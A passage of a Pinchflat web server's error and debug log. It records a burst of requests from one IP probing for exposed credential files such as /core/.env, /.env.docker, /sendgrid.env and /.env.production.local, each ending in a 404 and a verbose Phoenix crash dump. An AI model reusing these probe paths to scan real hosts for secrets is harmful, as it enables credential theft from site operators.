has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139006.0>, params: %{}, path_info: ["deploy", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/deploy/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxN4PJJ8S9nQAACrE"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139004.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/deploy/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46204}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /deploy/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139004.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/deploy/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46204}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139006.0>, params: %{}, path_info: ["deploy", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "r (truncated) 04:52:49.711 [debug] QUERY OK source="settings" db=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.711 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.711 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:49.710 [error] #PID<0.138999.0> running PinchflatWeb.Endpoint (connection #PID<0.138998.0>, stream id 1) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /public/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /public/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138998.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46184}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "pinchflat.ocaff.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138999.0>, params: %{}, path_info: ["public", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "en-US,en;q=0.5"}, {"dnt", "1"}, {"host", "pinchflat.ocaff.com"}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/public/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxN312A0wTYIADCgi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138998.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46184}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "pinchflat.ocaff.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /public/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138998.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46184}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "pinchflat.ocaff.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, (truncated) 04:52:49.711 [error] #PID<0.139009.0> running PinchflatWeb.Endpoint (connection #PID<0.138955.0>, stream id 11) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /core/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /core/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/core/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 11, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139009.0>, params: %{}, path_info: ["core", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "fr-FR,fr;q=0.9,en-US;q=0.8"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"130\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/core/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxN5_AWBiTVAAACwH"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/core/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 11, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /core/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/core/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => " (truncated) 04:52:50.263 [info] GET /.env.docker 04:52:50.264 [debug] QUERY OK source="settings" db=0.3ms idle=559.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.265 [debug] QUERY OK source="settings" db=0.4ms idle=558.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.265 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:50.266 [error] #PID<0.139010.0> running PinchflatWeb.Endpoint (connection #PID<0.138955.0>, stream id 12) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.env.docker ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.docker", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "pinchflat.ocaff.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 12, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139010.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "en-US,en;q=0.5"}, {"dnt", "1"}, {"host", "pinchflat.ocaff.com"}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.env.docker", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxP-rpSfYvCwAAHqD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.docker", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "pinchflat.ocaff.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 12, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.docker", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "pinchflat.ocaff.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 12, has_b (truncated) 04:52:50.283 [info] GET /sendgrid.env 04:52:50.283 [info] GET /.env.dev.local 04:52:50.284 [debug] QUERY OK source="settings" db=0.2ms idle=573.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.284 [debug] QUERY OK source="settings" db=0.1ms idle=572.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.284 [info] GET /.env.production.local 04:52:50.284 [debug] QUERY OK source="settings" db=0.3ms idle=557.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.284 [debug] QUERY OK source="settings" db=0.3ms idle=20.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.284 